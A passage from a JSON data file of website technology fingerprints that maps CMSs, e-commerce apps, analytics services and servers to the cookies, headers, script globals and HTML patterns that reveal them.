Toolkit":{"js":["govuk.modules","govuk.primarylinks","govuk.details"]},"Loadify":{"implies":["Shopify"]},"GrowingIO":{"cookies":{"gr_user_id":"","grwng_uid":""}},"GoDaddy Primer":{},"Nagich":{"js":["interdeal.version"]},"Appcues":{"js":["appcues"]},"Laterpay":{"meta":{"laterpay:connector:callbacks:on_user_has_access":["deobfuscatetext"]}},"Site24x7":{"js":["s247rumqueueimpl","s247rum","site24x7rumerror","site24x7rum"]},"Twenty Ten":{},"Glyphicons":{"html":["(?:\u003clink[^\u003e]* href=[^\u003e]+glyphicons(?:\\.min)?\\.css|\u003cimg[^\u003e]* src=[^\u003e]+glyphicons)"]},"Ace":{"js":["ace.editsession","ace.editor","ace.version"]},"MyLiveChat":{"js":["mylivechat.version"]},"Justo":{},"EraofEcom Cartroids":{"js":["cartroids.appbase"],"implies":["Shopify"]},"Adobe Experience Platform Identity Service":{"js":["s_c_il.0._c","s_c_il.1._c","s_c_il.2._c","s_c_il.3._c","s_c_il.4._c","s_c_il.5._c"]},"Hypercorn":{"headers":{"server":"hypercorn"},"implies":["Python"]},"Coveo":{"js":["coveo"]},"Duopana":{},"2B Advice":{"js":["bbcookiecontroler"]},"Mixin":{"meta":{"mixin_hash_id":[]}},"Umami":{},"Prebid":{"js":["prebid_timeout","pbjs","pbjs.version"]},"Droxit":{"cookies":{"droxit_a11y_state":""}},"Lozad.js":{"js":["lozad"]},"jQuery Migrate":{"js":["jquery.migratewarnings","jquerymigrate","jquery.migrateversion"],"implies":["jQuery"]},"Aruba.it":{"headers":{"x-servername":"\\.aruba\\.it"}},"Jetpack":{},"VirtueMart":{"html":["\u003cdiv id=\"vmmainpage"],"implies":["Joomla"]},"Moneris Payment Gateway":{"js":["wc_moneris_hosted_tokenization_params"],"implies":["Moneris","WooCommerce"]},"Blitz":{"js":["blitz","blitzreplace"],"headers":{"x-powered-by":"^blitz$"},"html":["\u003c!-- cached by blitz on"],"implies":["Craft CMS"]},"Shoprunner":{"js":["_shoprunner_com","_shoprunner_com.version"]},"Bubble":{"js":["bubble_version","_bubble_page_load_data","bubble_environment","bubble_hostname_modifier"],"headers":{"x-bubble-capacity-used":"","x-bubble-perf":"","x-bubble-capacity-limit":""},"implies":["Node.js"]},"Sellfy":{"js":["_sellfy.version"]},"CreateJS":{},"C":{},"Catch Themes Catch Box":{},"Flits":{"js":["flitsobjects.accountpage"],"implies":["Shopify"]},"Simpl":{"js":["simplsettings"]},"Warp":{"headers":{"server":"^warp/(\\d+(?:\\.\\d+)+)?$\\;version:\\1"},"implies":["Haskell"]},"GraphCMS":{"implies":["GraphQL","PostgreSQL","Go","TypeScript"]},"IBM DataPower":{"headers":{"x-global-transaction-id":"","x-backside-transport":""}},"ExtendThemes Highlight":{},"Jimdo":{"js":["jimdodolphindata"],"headers":{"x-jimdo-wid":"","x-jimdo-instance":""}},"mod_perl":{"headers":{"server":"mod_perl(?:/([\\d\\.]+))?\\;version:\\1"},"implies":["Perl","Apache"]},"ThemeGrill Flash":{},"lite-youtube-embed":{"implies":["YouTube"]},"Adyen":{"js":["adyen.encrypt.version"]},"Grafana":{"js":["__grafana_public_path__"],"implies":["Go","Macaron"]},"jQuery CDN":{"implies":["jQuery"]},"Indy":{"headers":{"server":"indy(?:/([\\d.]+))?\\;version:\\1"}},"Swym Wishlist Plus":{"js":["swappname","swymcart.attributes"],"implies":["Shopify"]},"Django CMS":{"implies":["Python","Django","PostgreSQL"]},"Elm":{"js":["elm.main.init","elm.main.embed"]},"phpSQLiteCMS":{"meta":{"generator":["^phpsqlitecms(?: (.+))?$\\;version:\\1"]},"implies":["PHP","SQLite"]},"Reveal.js":{"js":["reveal.version"],"implies":["Highlight.js"]},"Amazon SES":{"implies":["Amazon Web Services"]},"LimeSpot":{"js":["limespot.cartitems","limespot.recommendations"]},"LiveHelp":{"js":["lhready"]},"Airform":{},"Jumpseller":{"js":["jumpseller"]},"Razorpay":{"js":["razorpay"]},"Really Simple CAPTCHA":{},"Acquia Cloud Site Factory":{"implies":["Acquia Cloud Platform","Drupal Multisite"]},"FooPlugins FooGallery":{"js":["foogallery"]},"JAlbum":{"meta":{"generator":["jalbum( [\\d.]+)?\\;version:\\1"]},"implies":["Java"]},"Dynamic Yield":{"cookies":{"_dy_geo":"","_dy_ses_load_seq":""},"js":["dy.addetection","dyexps.sectionconfig","_dy_memstore"]},"Trac":{"html":["\u003ca id=\"tracpowered","powered by \u003ca href=\"[^\"]*\"\u003e\u003cstrong\u003etrac(?:[ /]([\\d.]+))?\\;version:\\1"],"implies":["Python"]},"IBM Coremetrics":{},"Tallentor":{},"Sass":{},"MyBB":{"cookies":{"mybb[lastactive]":"","mybb[lastvisit]":""},"js":["mybb","mybbeditor"],"implies":["PHP","MySQL"]},"Qubit":{"js":["__qubit","onqubitready"]},"Craft Commerce":{"headers":{"x-powered-by":"\\bcraft commerce\\b"},"implies":["Craft CMS"]},"Hinza Advanced CMS":{"meta":{"generator":["hinzacms"]},"implies":["Laravel"]},"Unruly":{"js":["unruly.native"]},"LogiCommerce":{"meta":{"generator":["^logicommerce$"]}},"CakePHP":{"cookies":{"cakephp":""},"meta":{"application-name":["cakephp"]},"implies":["PHP"]},"Vimeo OTT":{"js":["vhx.config","_vhx"],"implies":["Vimeo"]},"YouCan":{"js":["ycpay"],"headers":{"x-powered-by":"youcan\\.private\\.dc/"},"implies":["PHP","MySQL","Redis","Laravel"]},"Kevel":{"js":["ados","adosresults"]},"SpurIT Abandoned Cart Reminder":{"js":["acr_spurit_params.foldercss"],"implies":["Shopify"]},"Jumio":{},"Customily":{"js":["customily.sticky"]},"Red je Pakketje":{},"Basis Technologies":{},"Theme Freesia Photograph":{},"Dito":{"js":["dito.appsettings"]},"Covet.pics":{},"GlobalShopex":{"js":["gsxminicheckout","gsxpreviewcheckout"]},"LazySizes unveilhooks plugin":{},"Zozo":{"meta":{"generator":["zozo ecommerce"]},"implies":["PHP","MySQL"]},"Frosmo":{"js":["frosmo","_frosmo"]},"Ruby Receptionists":{"js":["rubyapi"]},"AdRiver":{"js":["adrivercounter","adriverprebid","adfoxbiddersmap.adriver","adriver"]},"Xonic":{"html":["powered by \u003ca href=\"http://www\\.xonic-solutions\\.de/index\\.php\" target=\"_blank\"\u003exonic-solutions shopsoftware\u003c/a\u003e"],"meta":{"keywords":["xonic-solutions"]}},"Digistore24":{"js":["getthesourcefordigistorelinks","digistore_link_id_key","digistore_vendorkey"]},"Snap Pixel":{"js":["snaptr.pixelidlist","__snappixel"]},"Draft.js":{},"MongoDB":{},"GoDaddy Escapade":{},"Fenicio":{"js":["_fn.validadortelefono","fnwishlist.cargarinfoarticulos","fnecommerce.micompravisto"]},"Sakura Internet":{},"Audiohook":{},"Optimove":{"js":["optimovesdkversion","optimovesdk"]},"PIXIjs":{"js":["pixi","pixi.version"]},"MailerLite plugin":{"implies":["MailerLite"]},"Themebeez Cream Magazine":{"js":["cream_magazine_script_obj"]},"Twik":{"js":["twik_id"]},"LoyaltyLion":{"js":["loyaltylion.version"]},"Seal Subscriptions":{"js":["sealsubs.checkout","sealsubscriptions_settings_updated","sealsubsloaded"],"implies":["Shopify"]},"Web Stories for WordPress":{"meta":{"amp-story-generator-name":["^web stories for wordpress$"],"amp-story-generator-version":["^(.+)$\\;version:\\1"]},"implies":["Web Stories"]},"phpPgAdmin":{"html":["(?:\u003ctitle\u003ephppgadmin\u003c/title\u003e|\u003cspan class=\"appname\"\u003ephppgadmin)"],"implies":["PHP"]},"TruValidate":{},"Autopilot":{"js":["autopilot","autopilotanywhere"]},"phpBB":{"cookies":{"phpbb":""},"js":["phpbb","style_cookie_settings"],"html":["powered by \u003ca[^\u003e]+phpbb","\u003cdiv class=phpbb_copyright\u003e","\u003c[^\u003e]+styles/(?:sub|pro)silver/theme","\u003cimg[^\u003e]+i_icon_mini","\u003ctable class=\"[^\"]*forumline"],"meta":{"copyright":["phpbb group"]},"implies":["PHP"]},"Confer With":{},"ip-label":{"js":["clobs"]},"CartKit":{},"RDoc":{"js":["rdoc_rel_prefix"],"html":["\u003clink[^\u003e]+href=\"[^\"]*rdoc-style\\.css","generated by \u003ca[^\u003e]+href=\"https?://rdoc\\.rubyforge\\.org[^\u003e]+\u003erdoc\u003c/a\u003e ([\\d.]*\\d)\\;version:\\1","generated by \u003ca href=\"https:\\/\\/ruby\\.github\\.io\\/rdoc\\/\"\u003erdoc\u003c\\/a\u003e ([\\d.]*\\d)\\;version:\\1"],"implies":["Ruby"]},"Fork Awesome":{},"Tachyons":{"js":["webpackchunkgatsby_starter_blog_tachyons"]},"Milestone CMS":{"meta":{"generator":["^milestone\\scms\\s([\\d\\.]+)$\\;version:\\1"]},"implies":["Microsoft ASP.NET"]},"Amazon Cognito":{"implies":["Amazon Web Services"]},"Shortly":{"implies":["Shopify"]},"Bold Bundles":{"js":["bold.bundles"],"implies":["Shopify","Bold Commerce"]},"Slimbox":{"html":["\u003clink [^\u003e]*href=\"[^/]*slimbox(?:-rtl)?\\.css"],"implies":["MooTools"]},"Tencent Waterproof Wall":{},"keep. archeevo":{"js":["archeevosnippets.mostvieweddocumentsurl","embedarcheevobasicsearch"]},"Cart Functionality":{"js":["google_tag_params.ecomm_pagetype"]},"Bazaarvoice Reviews":{"js":["bv.api"]},"vBulletin":{"cookies":{"bblastactivity":"","bblastvisit":"","bbsessionhash":""},"js":["vbulletin"],"html":["\u003cdiv id=\"copyright\"\u003epowered by vbulletin"],"meta":{"generator":["vbulletin ?([\\d.]+)?\\;version:\\1"]},"implies":["PHP"]},"Media.net":{},"Kendo UI":{"js":["kendo","kendo.version"],"html":["\u003clink[^\u003e]*\\s+href=[^\u003e]*styles/kendo\\.common(?:\\.min)?\\.css[^\u003e]*/\u003e"],"implies":["jQuery"]},"ThemeGrill Accelerate":{},"Snap":{"headers":{"server":"snap/([.\\d]+)\\;version:\\1"},"implies":["Haskell"]},"UptimeRobot":{"headers":{"content-security-policy":"\\.uptimerobot\\.com"}},"Bugzilla":{"cookies":{"bugzilla_login_request_cookie":""},"js":["bugzilla"],"html":["href=\"enter_bug\\.cgi\"\u003e","\u003cmain id=\"bugzilla-body\"","\u003ca href=\"https?://www\\.bugzilla\\.org/docs/([0-9.]+)/[^\u003e]+\u003ehelp\u003c\\;version:\\1","\u003cspan id=\"information\" class=\"header_addl_info\"\u003eversion ([\\d.]+)\u003c\\;version:\\1"],"meta":{"generator":["bugzilla ?([\\d.]+)?\\;version:\\1"]},"implies":["Perl"]},"Facebook Login":{"js":["fb.getloginstatus"]},"Blesta":{"cookies":{"blesta_sid":""}},"PureCars":{"js":["_purecars"]},"Huberway":{"cookies":{"huberway_session":""},"implies":["PHP","MySQL"]},"Woopra":{},"Ookla Speedtest Custom":{"headers":{"content-security-policy":"\\.speedtestcustom\\.com"}},"Animate.css":{},"Jahia DX":{"html":["\u003cscript id=\"staticassetaggregatedjavascrip"]},"UMI.CMS":{"headers":{"x-generated-by":"umi\\.cms"},"implies":["PHP"]},"Droz Bot":{},"YouTube":{"html":["\u003c(?:param|embed|iframe)[^\u003e]+youtube(?:-nocookie)?\\.com/(?:v|embed)"]},"Sky-Shop":{"js":["l.continue_shopping"],"meta":{"generator":["sky-shop"]},"implies":["PHP","Bootstrap","jQuery"]},"Shoporama":{"meta":{"generator":["shoporama"]}},"Quasar":{},"ActiveCampaign":{"js":["acenabletracking"]},"Zen Cart":{"meta":{"generator":["zen cart"]}},"SweetAlert2":{"js":["sweetalert2"],"html":["\u003clink[^\u003e]+?href=\"[^\"]+sweetalert2(?:\\.min)?\\.css"]},"DoubleClick Floodlight":{},"ReturnGO":{"js":["returngocanberun","returngointegrationdata"]},"Contensis":{"meta":{"generator":["contensis cms version ([\\d.]+)\\;version:\\1"]},"implies":["Java","CFML"]},"Workarea":{"js":["workarea"]},"Menufy Online Ordering":{},"Returnly":{"js":["returnly.containerswitcher","returnly.internaleventtracker"]},"Xserver":{},"Shoppiko":{},"Scala":{},"Meteor":{"js":["meteor","meteor.release"],"html":["\u003clink[^\u003e]+__meteor-css__"],"implies":["MongoDB","Node.js"]},"Simplébo":{"headers":{"x-servedby":"simplebo"}},"OpenLayers":{"js":["openlayers.version_number","ol.canvasmap"]},"OroCommerce":{"html":["\u003cscript [^\u003e]+data-requiremodule=\"oro/","\u003cscript [^\u003e]+data-requiremodule=\"oroui/"],"implies":["PHP","MySQL"]},"SabaVision":{"js":["__sabavision_get_add_timeout","sabavisionwebsiteid","sabavisionwebsitepage","sabavisionelement"],"meta":{"sabavision_zone":[]}},"ChurnZero":{"js":["churnzero","churnzero.version"]},"MRW":{},"Future Shop":{},"Zipify OCU":{},"Helix Ultimate":{"implies":["Joomla"]},"ELOG":{"html":["\u003ctitle\u003eelog logbook selection\u003c/title\u003e"]},"MachoThemes NewsMag":{},"Ghost":{"headers":{"x-ghost-cache-status":""},"meta":{"generator":["ghost(?:\\s([\\d.]+))?\\;version:\\1"]},"implies":["Node.js"]},"Colorlib Sparkling":{},"WP-Royal Ashe":{"js":["ashepreloader","ashestickysidebar"]},"GemPages":{"js":["gemvendor","gemstore"],"implies":["Shopify"]},"ResDiary":{},"Pagekit":{"meta":{"generator":["pagekit"]}},"WooCommerce Blocks":{},"EmbedPlus":{},"Google Customer Reviews":{},"SiteW":{},"SocialLadder":{},"Eloqua":{"cookies":{"eloqua":""},"js":["_elqq","eloqcontactdata","eloquaactionsettings","elqcookievalue","elqload","elq_global","_elq","elqcuresite","elqsiteid"]},"Osano":{"js":["osano"]},"phpDocumentor":{"html":["\u003c!-- generated by phpdocumentor"],"implies":["PHP"]},"Business Catalyst":{"html":["\u003c!-- bc_obnw --\u003e"]},"Klaro":{"js":["klaro","klaroconfig"]},"Dyte":{"js":["triggerdyterecording"],"css":["\\.dyte-client-selfVideo"],"implies":["WebRTC"]},"Humm":{"js":["checkout.enabledpayments.humm"]},"Actito":{"cookies":{"smartfocus":""},"js":["_actgoal","smartfocus"]},"commercetools":{},"Draftpress HFCM":{"html":["\u003c!--[^\u003e]*hfcm\\sby\\s99\\srobots"]},"TNS Payments":{},"ImpressCMS":{"cookies":{"icmssession":"","impresscms":""},"meta":{"generator":["impresscms"]},"implies":["PHP"]},"MailChimp":{"html":["\u003cform [^\u003e]*data-mailchimp-url","\u003cform [^\u003e]*id=\"mc-embedded-subscribe-form\"","\u003cform [^\u003e]*name=\"mc-embedded-subscribe-form\"","\u003cinput [^\u003e]*id=\"mc-email\"\\;confidence:20","\u003c!-- begin mailchimp signup form --\u003e"]},"Oracle Maxymiser":{"js":["mmsystem.getconfig","maxy"]},"Marker":{"js":["markerconfig"]},"JsViews":{"implies":["JsObservable","JsRender"]},"iubenda":{"js":["_iub","addiubendacs"]},"Liquid Web":{"headers":{"x-lw-cache":""}},"PHPFusion":{"headers":{"x-phpfusion":"(.+)$\\;version:\\1","x-powered-by":"phpfusion (.+)$\\;version:\\1"},"html":["powered by \u003ca href=\"[^\u003e]+phpfusion","powered by \u003ca href=\"[^\u003e]+php-fusion"],"implies":["PHP","MySQL"]},"ModiFace":{"js":["initmodiface"],"headers":{"content-security-policy":"\\.modiface\\.com"}},"Kaltura":{"js":["kgetkalturaembedsettings","kgetkalturaplayerlist","kalturaiframeembed","restorekalturakdpcallback","kplayer"]},"emBlue":{"js":["emblueonsiteapp"]},"HP Compact Server":{"headers":{"server":"hp_compact_server(?:/([\\d.]+))?\\;version:\\1"}},"Shopatron":{"js":["shpturl"],"html":["\u003cbody class=\"shopatron","\u003cimg[^\u003e]+mediacdn\\.shopatron\\.com\\;confidence:50"],"meta":{"keywords":["shopatron"]}},"Immutable.js":{"js":["immutable","immutable.version"]},"Lua":{"headers":{"x-powered-by":"\\blua(?: ([\\d.]+))?\\;version:\\1"}},"Dianomi":{},"Fastly":{"headers":{"x-via-fastly:":"","fastly-debug-digest":"","vary":"fastly-ssl","x-fastly-request-id":"","server":"fastly","x-fastly-origin":""}},"Quicklink":{"js":["drupalsettings.quicklink","quicklink"]},"WP Job Openings":{"js":["awsmjobs"]},"Colorlib Activello":{"js":["activelloismobile"]},"WebFactory Under Construction":{},"GlassFish":{"headers":{"server":"glassfish(?: server)?(?: open source edition)?(?: ?/?([\\d.]+))?\\;version:\\1"},"implies":["Java"]},"Simbel":{"headers":{"powered":"simbel"}},"Inspectlet":{"js":["__insp","__inspld"],"html":["\u003c!-- (?:begin|end) inspectlet embed code --\u003e"]},"Tilda":{"html":["\u003clink[^\u003e]* href=[^\u003e]+tilda(?:cdn|\\.ws|-blocks)"]},"Headless UI":{},"Workable":{"js":["webpackchunk_workable_candidate"]},"Shoprenter":{"js":["shoprenter.customer"]},"UserReport":{},"WP-Statistics":{"js":["wp_statistics_http","wps_statistics_object"]},"LKQD":{"js":["lkqd_http_response","lkqdcall","lkqderrorcount","lkqdsettings"]},"Blogger":{"meta":{"generator":["^blogger$"]},"implies":["Python"]},"WPCacheOn":{"headers":{"x-powered-by":"^optimized by wpcacheon"}},"F5 BigIP":{"cookies":{"mrhsession":"","tin":"","f5_ht_shrinked":"","f5_st":"","f5_fullwt":"","lastmrh_session":"","mrhshint":"","mrhsequence":""},"headers":{"server":"^big-?ip$"}},"UKFast":{},"Envybox":{"js":["envywidget"]},"Revel":{"cookies":{"revel_flash":"","revel_session":""},"implies":["Go"]},"ReConvert":{"implies":["Shopify"]},"Fleksa":{"implies":["Node.js","Next.js"]},"ExpertRec":{"js":["_er_config"]},"Elastic APM":{"js":["elasticapm"],"implies":["Elasticsearch"]},"Ultimate GDPR \u0026 CCPA":{"js":["ct_ultimate_gdpr_cookie"]},"Builder.io":{},"OpenX":{"js":["openx.name"]},"AT Internet Analyzer":{"js":["atinternet","xtsite"]},"MAAK":{"meta":{"author":["^maak$"]}},"db-ip":{"js":["env.dbip"]},"Marionette.js":{"js":["marionette","marionette.version"],"implies":["Underscore.js","Backbone.js"]},"Custom Fonts":{},"PHPDebugBar":{"js":["phpdebugbar","phpdebugbar"]},"RevenueHunt":{},"Rezdy":{},"Zimbra":{"cookies":{"zm_test":"true"},"implies":["Java"]},"Apptus":{"cookies":{"apptus.customerkey":"","apptus.sessionkey":""},"js":["apptusesales","apptusconfig","apptusdebug"]},"Prismic":{},"UmiJs":{"js":["g_umi.version"],"implies":["Node.js"]},"Hostiq":{},"Google Tag Manager for WordPress":{"implies":["Google Tag Manager"]},"Callbell":{"js":["callbell","callbellsettings"]},"Tidio":{"js":["tidiochatapi"]},"Zeotap":{},"Booking.com":{},"HCL Digital Experience":{"headers":{"itx-generated-timestamp":"","ibm-web2-location":""},"implies":["Java"]},"Integral Ad Science":{},"GOV.UK Template":{"js":["govuk"],"html":["\u003clink[^\u003e]+govuk-template[^\u003e\"]+css","\u003clink[^\u003e]+govuk-template-print[^\u003e\"]+css","\u003clink[^\u003e]+govuk-template-ie6[^\u003e\"]+css","\u003clink[^\u003e]+govuk-template-ie7[^\u003e\"]+css","\u003clink[^\u003e]+govuk-template-ie8[^\u003e\"]+css"]},"Primis":{"js":["sekindonativeskinapi","sekindodisplayedplacement","sekindoflowingplayeron"]},"Chabokan":{"headers":{"ch-powered-by":"chabokan\\s\\(chabokan\\.net\\)"}},"Uscreen":{"js":["analyticshost"]},"Myhkw player":{"js":["myhk_player_songid","myhkplayerlist"]},"CDN77":{"headers":{"server":"^cdn77-turbo$"}},"Netlify":{"headers":{"server":"^netlify","x-nf-request-id":""}},"PixelFed":{"implies":["Laravel"]},"W3 Total Cache":{"headers":{"x-powered-by":"w3 total cache(?:/([\\d.]+))?\\;version:\\1"},"html":["\u003c!--[^\u003e]+w3 total cache"]},"Wair":{"js":["predictv3.default.version","predictwidget"]},"Exhibit":{"js":["exhibit","exhibit.version"]},"Wisepops":{"js":["wisepopsobject","wisepops._api"]},"Brightcove":{},"gunicorn":{"headers":{"server":"gunicorn(?:/([\\d.]+))?\\;version:\\1"},"implies":["Python"]},"Canto":{},"Kemal":{"headers":{"x-powered-by":"kemal"}},"Svelte":{},"Simplero Websites":{"cookies":{"_simplero_session_id":""},"implies":["Cart Functionality"]},"Auth0":{"headers":{"x-auth0-requestid":""}},"AdScale":{"js":["_adscale","adscaleaddtocart","adscaleviewproduct"]},"Vonage Video API":{},"LottieFiles":{},"Gitea":{"cookies":{"i_like_gitea":""},"html":["\u003cdiv class=\"ui left\"\u003e\\n\\s+© gitea version: ([\\d.]+)\\;version:\\1"],"meta":{"keywords":["^go,git,self-hosted,gitea$"]},"implies":["Go"]},"Tradedoubler":{},"WordPress Default":{},"Salla":{"headers":{"x-powered-by":"^salla$"}},"Enyo":{"js":["enyo"]},"MyBlogLog":{},"Cocos2d":{"js":["cocosengine"]},"Loja Integrada":{"js":["loja_id"],"headers":{"x-powered-by":"vtex-integrated-store"}},"CloudSuite":{"cookies":{"cs_secure_session":""}},"TornadoServer":{"headers":{"server":"tornadoserver(?:/([\\d.]+))?\\;version:\\1"}},"Gravatar":{"js":["gravatar"],"html":["\u003c[^\u003e]+gravatar\\.com/avatar/"]},"Strikingly":{"html":["\u003c!-- powered by strikingly\\.com"]},"PubMatic":{},"Powerboutique":{},"Zid":{"cookies":{"zid_catalog_session":""},"js":["zid.store","zidtracking.sendgaproductremovefromcartevent"]},"Danneo CMS":{"headers":{"x-powered-by":"cms danneo ([\\d.]+)\\;version:\\1"},"meta":{"generator":["danneo cms ([\\d.]+)\\;version:\\1"]},"implies":["Apache","PHP"]},"ClickFunnels":{"js":["cfappdomain","cfsurveyparticipantid"],"meta":{"cf:app_domain:":["app\\.clickfunnels\\.com"]}},"Salesfloor":{"js":["nmconfig.salesfloor_env","salesfloorhost"]},"SharpSpring Ads":{"js":["_pa"]},"Zanox":{"js":["zanox"],"html":["\u003cimg [^\u003e]*src=\"[^\"]+ad\\.zanox\\.com"]},"GTranslate":{},"Instabot":{"js":["instabot"]},"Freespee":{},"RBS Change":{"html":["\u003chtml[^\u003e]+xmlns:change="],"meta":{"generator":["rbs change"]},"implies":["PHP"]},"Gatsby Cloud Image CDN":{},"ManyChat":{"js":["mcwidget"]},"Meebo":{"html":["(?:\u003ciframe id=\"meebo-iframe\"|meebo\\('domready'\\))"]},"snigel AdEngine":{},"HeliumWeb":{"js":["helium.js"],"headers":{"x-powered-by":"adrikikicp development"},"implies":["PHP"]},"Smartsupp":{"js":["$smartsupp.options.widgetversion","smartsupp"]},"Dokan":{"js":["dokan"]},"Pay It Later":{"js":["payitlater"]},"GrandNode":{"cookies":{"grand.customer":""},"html":["(?:\u003c!--grandnode |\u003ca[^\u003e]+grandnode - powered by |powered by: \u003ca[^\u003e]+nopcommerce)"],"meta":{"generator":["grandnode"]},"implies":["Microsoft ASP.NET"]},"yellow.ai":{"js":["ymconfig"]},"Ninja Forms":{"js":["nfforms"]},"Appian":{},"Choices":{},"CentOS":{"headers":{"x-powered-by":"centos","server":"centos"}},"Amber":{"headers":{"x-powered-by":"^amber$"}},"Wangsu":{"js":["__cdnroute","playurl.wangsu"]},"Handlebars":{"js":["handlebars.version","handlebars"],"html":["\u003c[^\u003e]*type=[^\u003e]text\\/x-handlebars-template"]},"Public CMS":{"cookies":{"publiccms_user":""},"headers":{"x-powered-publiccms":"^(.+)$\\;version:\\1"},"implies":["Java"]},"Cloudera":{"headers":{"server":"cloudera"}},"Bentobox":{"js":["bentoanalytics"]},"AndersNoren Baskerville":{},"Nuqlium":{"js":["nuqliumobject"]},"uLogin":{"js":["ulogin.version"]},"SeedProd Coming Soon":{},"X-Cart":{"js":["xcart_web_dir","xliteconfig"],"meta":{"generator":["x-cart(?: (\\d+))?\\;version:\\1"]},"implies":["PHP"]},"Engagio":{},"JavaServer Faces":{"headers":{"x-powered-by":"jsf(?:/([\\d.]+))?\\;version:\\1"},"implies":["Java"]},"OVHcloud":{},"Whatfix":{"js":["_wfx_add_logger","_wfx_settings","wfx_is_playing__"]},"Criteo":{"js":["criteo","criteo_pubtag","criteo_q"]},"FAST ESP":{"html":["\u003cform[^\u003e]+id=\"fastsearch\""]},"Doofinder":{"js":["doofinder.classic.version"]},"Instant.Page":{},"ShopPad Infinite Options":{"js":["shoppad.apps.infiniteoptions"],"implies":["Shopify"]},"Taggbox":{"js":["taggboxajaxurl"]},"Acquia Personalization":{"js":["acquialift","_tcaq"],"implies":["Acquia Cloud Platform\\;confidence:95"]},"Adobe Client Data Layer":{"js":["adobedatalayer.version"]},"Yett":{"js":["yett_blacklist"]},"Breadcrumb NavXT":{"html":["\u003c!-- breadcrumb navxt ([\\d\\.]+)\\;version:\\1"]},"Smartstore Page Builder":{"html":["\u003csection[^\u003e]+class=\"g-stage"],"css":["\\.g-stage \\.g-stage-root"],"implies":["Microsoft ASP.NET"]},"AdonisJS":{"cookies":{"adonis-session":"","adonis-session-values":""},"implies":["Node.js"]},"Inertia":{"headers":{"x-inertia":""}},"Zuppler":{},"EC-CUBE":{"implies":["PHP"]},"Smart Ad Server":{"js":["smartadserver"]},"Apollo13Themes Rife":{},"FalguniThemes Nisarg":{"js":["nisargpro_script_vars"]},"Quick.CMS":{"html":["\u003ca href=\"[^\u003e]+opensolution\\.org/\"\u003ecms by"],"meta":{"generator":["quick\\.cms(?: v([\\d.]+))?\\;version:\\1"]}},"Lever":{"headers":{"content-security-policy":"\\.lever\\.co"}},"Mapp":{"js":["webtrekkconfig","webtrekklinktrackobjects","webtrekkv3","wtsmart","wt_tt","wt_ttv2","webtrekkv3","webtrekk","webtrekkheatmapobjects","webtrekkunloadobjects"]},"Basic":{"headers":{"www-authenticate":"^basic"}},"Glassbox":{"js":["sessioncamrecorder","sessioncamconfiguration"]},"Virtooal":{},"Lootly":{"js":["lootly.config","lootlywidgetinit"]},"Adobe RoboHelp":{"js":["gbwhlang","gbwhmsg","gbwhproxy","gbwhutil","gbwhver"],"meta":{"generator":["^adobe robohelp(?: ([\\d]+))?\\;version:\\1"]}},"Sharetribe":{},"BEM":{"html":["\u003c[^\u003e]+data-bem"]},"SlickStack":{"headers":{"x-powered-by":"slickstack"},"implies":["WordPress"]},"ipapi.co":{},"Olark":{"js":["olark","olarkuserdata"]},"eZ Platform":{"meta":{"generator":["ez platform"]},"implies":["Symfony"]},"TwistPHP":{"headers":{"x-powered-by":"twistphp"},"implies":["PHP"]},"Bloomreach Discovery":{"js":["brtrk.scriptversion","br_data.acct_id"]},"ShortPixel Image Optimizer":{"js":["sppictest"]},"Invoca":{"js":["invoca.pnapi.version","invocatagid"]},"Apple Business Chat":{"js":["applebusinesschat.version"]},"Dokeos":{"headers":{"x-powered-by":"dokeos"},"html":["(?:portal \u003ca[^\u003e]+\u003edokeos|@import \"[^\"]+dokeos_blue)"],"meta":{"generator":["dokeos"]},"implies":["PHP","Xajax","jQuery","CKEditor"]},"Constant Contact":{"js":["_ctct_m","ctctonloadcallback"]},"KaTeX":{"js":["katex","katex.version"]},"Inveon":{"cookies":{"inv.customer":"\\;confidence:50","inveonsessionid":""},"js":["invapp","invtagmanagerparams"]},"ShopGold":{"cookies":{"egold":"^\\w+$","popup_shopgold":"","popup_shopgold_time":""}},"Bold Subscriptions":{"js":["bold.subscriptions"],"implies":["Shopify","Bold Commerce"]},"Zipkin":{"headers":{"x-b3-flags":"","x-b3-parentspanid":"","x-b3-sampled":"","x-b3-spanid":"","x-b3-traceid":""}},"Userpilot":{"js":["userpilotinitiatorsdk","userpilotpako","userpilot.triggerbyid"]},"SpeedCurve":{"js":["lux_t_end","lux_t_start","lux.version"]},"GoDaddy Website Builder":{"cookies":{"dps_site_id":""},"meta":{"generator":["go daddy website builder (.+)\\;version:\\1"]}},"Friendly Captcha":{},"Verloop":{"js":["verloop"]},"Automizely":{"js":["am_consent_sdk.product","amstorefrontkit.hrequesteventtarget","automizelyconversions"]},"Asciidoctor":{"meta":{"generator":["^asciidoctor\\s([\\d\\.]+)$\\;version:\\1"]},"implies":["Ruby"]},"SpotX":{"js":["spotx.version"]},"ScrollMagic":{"js":["scrollmagic","scrollmagic.version"],"implies":["jQuery","GSAP"]},"Posterous":{"js":["posterous"],"html":["\u003cdiv class=\"posterous"]},"Colorlib Illdy":{},"AOLserver":{"headers":{"server":"aolserver/?([\\d.]+)?\\;version:\\1"}},"Snowplow Analytics":{"cookies":{"_sp_id":"","sp":"\\;confidence:50"},"js":["snowplow","globalsnowplownamespace"]},"Nosto":{"js":["nosto","nostojs"],"meta":{"nosto-version":["([\\d.]+)\\;version:\\1"]}},"Methode":{"html":["\u003c!-- methode uuid: \"[a-f\\d]+\" ?--\u003e"],"meta":{"eomportal-lastupdate":[],"eomportal-loid":["[\\d.]+"],"eomportal-uuid":["[a-f\\d]+"],"eomportal-id":["\\d+"],"eomportal-instanceid":["\\d+"]}},"GetMeAShop":{"js":["gmas_base_url","search_api_base_uri"]},"Advanced Custom Fields":{"js":["acf","acfl10n"]},"Notion":{},"LightMon Engine":{"cookies":{"lm_online":""},"html":["\u003c!-- lightmon engine copyright lightmon"],"meta":{"generator":["lightmon engine"]},"implies":["PHP"]},"Sellacious":{"js":["sellaciousviewcartaio"],"implies":["Joomla"]},"American Express":{},"HulkApps Product Reviews":{"js":["hulkappsproductreview","hulkappsreviews"],"implies":["Shopify"]},"SEMrush":{"js":["semrush"]},"Framer Sites":{"js":["framer","framer.animatable","framer.version","__framer_importfrompackage"],"implies":["React"]},"Transmart":{},"Syte":{"js":["syteapi.getbinimagebb","syteapp.analytics","sytepixel"]},"SaleCycle":{},"Browser-Update.org":{"js":["$bu_.version","$bu_getbrowser"]},"SAP Customer Data Cloud Sign-in":{},"StoreHippo":{},"Hero":{"js":["herowebpluginsettings"],"implies":["Cart Functionality"]},"YMQ Product Options Variant 